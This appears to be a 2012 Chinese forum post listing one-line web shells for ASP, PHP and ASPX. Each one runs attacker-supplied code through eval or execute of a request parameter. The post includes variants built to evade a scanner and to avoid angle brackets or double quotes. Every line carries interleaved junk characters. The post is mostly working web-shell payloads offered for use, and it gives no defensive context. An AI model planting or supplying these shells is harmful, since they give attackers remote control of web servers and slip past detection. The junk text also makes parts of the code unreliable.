asp一句话 <%execute(request("1"))%> 2 g G6 j9 {6 V. R! j) S, B+ f) S8 r' s$ ~
, i% w# y- I7 @( h1 x. Q! v
php一句话 <?php eval($_POST[1]);?>
9 z; W' X: ]& [" a! J, B' x! e5 V& K: v9 ]3 Z
aspx一句话
6 @: o& _$ i" m2 ?- a2 Y2 ^5 C3 {* m
<script language="C#" runat="server">
3 p* Q- x4 ?# S" C$ ~* e! X9 b/ _ ]* d$ a6 k- \7 M, t2 R
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y ("add6bb58e139be10");) T1 ?, t' h; X$ s5 J
# k& e" \+ J5 v) Z7 w4 f0 X</script>
- o# D! s! M. @0 m! G& u8 n' O4 @) ^9 N% F; [( N7 V; R
可以躲过雷客图的一句话。
% o6 [* V* M$ H2 S5 Y* H& n. D
- z1 X0 u+ p4 a ~# c* E5 f. G* d U <%( E) ]: _ ^8 E7 U+ P- N
0 i+ N# f: t6 A o# u& j set ms = server.CreateObject("MSScriptControl.ScriptControl.1")" h. d' j% W0 c0 m' x2 R& |( g
; S- ~& i0 X# L" ^& `
ms.Language="VBScript"% A5 Z- p( O z3 _2 z
+ t. L- Y* Z( Q" G# v. |1 r# G3 r ] ms.AddObject "Response", Response
3 J5 u8 s7 \( o# i$ k; ]' E- K; w/ o
6 p. E4 m6 C/ A3 s# m& n ms.AddObject "request", request8 i3 ?1 r! W* f$ o
6 g7 n* h8 @) t* Z9 f0 o
ms.ExecuteStatement("ev"&"al(request(""1""))")
f" g! z% Z3 c: S( z8 C, K I# ~* \
%>/ z! c& A0 r0 ]; q, ]& w, u% H# F% U
2 |5 S" x1 P8 X3 _5 K: ~
不用'<,>'的asp一句话
$ ~+ S4 Z! @6 [* S% x% n* ]1 Y9 q) K4 b5 }
<script language=VBScript runat=server>execute request("1")</script>
9 U: C5 h0 l9 `) K) N; S( I9 U; [9 ? u( s# ~9 n
不用双引号的一句话。
% h- x8 _/ _+ K; Q& i" U
/ R# \9 n+ c! l2 N+ H7 U <%eval request(chr(35))%>7 H3 f+ M. s% E! J- W: Q1 ~
|
发表于 2012-9-23 14:36:09
收藏
支持
反对